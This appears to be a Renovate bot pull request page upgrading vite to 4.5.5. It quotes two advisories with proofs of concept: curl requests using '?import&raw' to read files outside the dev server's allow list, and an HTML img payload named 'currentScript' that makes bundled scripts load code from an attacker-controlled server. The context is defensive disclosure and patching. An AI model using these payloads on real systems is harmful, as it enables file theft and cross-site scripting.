chore(deps): dsw-000 update dependency vite to v4.5.5 [security] #209

renovate · 2024-09-25T12:40:53Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`4.5.3` -> `4.5.5`

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v4.5.5`

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate bot changed the title ~~chore(deps): dsw-000 update dependency vite to v4.5.5 [security]~~ chore(deps): dsw-000 update dependency vite to v4.5.5 [security] - autoclosed Sep 25, 2024

renovate bot closed this Sep 25, 2024

renovate bot deleted the renovate/npm-vite-vulnerability branch September 25, 2024 16:49

renovate bot restored the renovate/npm-vite-vulnerability branch September 26, 2024 22:41

renovate bot changed the title ~~chore(deps): dsw-000 update dependency vite to v4.5.5 [security] - autoclosed~~ chore(deps): dsw-000 update dependency vite to v4.5.5 [security] Sep 26, 2024

renovate bot reopened this Sep 26, 2024

github-actions bot temporarily deployed to vanilla-app-pr-209 September 26, 2024 22:43 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 67baf3b to 6890f4b Compare September 26, 2024 22:44

github-actions bot temporarily deployed to vanilla-app-pr-209 September 26, 2024 22:46 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 6890f4b to 3ddd248 Compare October 1, 2024 10:57

github-actions bot temporarily deployed to vanilla-app-pr-209 October 1, 2024 10:58 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 3ddd248 to 9adf85c Compare October 4, 2024 10:31

github-actions bot temporarily deployed to vanilla-app-pr-209 October 4, 2024 10:33 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 9adf85c to 01475df Compare October 11, 2024 08:35

github-actions bot temporarily deployed to vanilla-app-pr-209 October 11, 2024 08:37 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 01475df to 7210385 Compare October 17, 2024 08:25

github-actions bot temporarily deployed to vanilla-app-pr-209 October 17, 2024 08:27 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 7210385 to e216b47 Compare October 17, 2024 14:42

github-actions bot temporarily deployed to vanilla-app-pr-209 October 17, 2024 14:44 Inactive

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from e216b47 to 443c525 Compare October 17, 2024 15:29

github-actions bot deployed to vanilla-app-pr-209 October 17, 2024 15:30 View deployment

chore(deps): dsw-000 update dependency vite to v4.5.5 [security]

323131d

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 443c525 to 323131d Compare November 19, 2024 10:29

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): dsw-000 update dependency vite to v4.5.5 [security] #209

chore(deps): dsw-000 update dependency vite to v4.5.5 [security] #209

renovate bot commented Sep 25, 2024 •

edited

Loading

chore(deps): dsw-000 update dependency vite to v4.5.5 [security] #209

Are you sure you want to change the base?

chore(deps): dsw-000 update dependency vite to v4.5.5 [security] #209

Conversation

renovate bot commented Sep 25, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

Details

PoC

CVE-2024-45812

Summary

Details

PoC

Impact

Patch

Release Notes

v4.5.5

Configuration

renovate bot commented Sep 25, 2024 •

edited

Loading

`v4.5.5`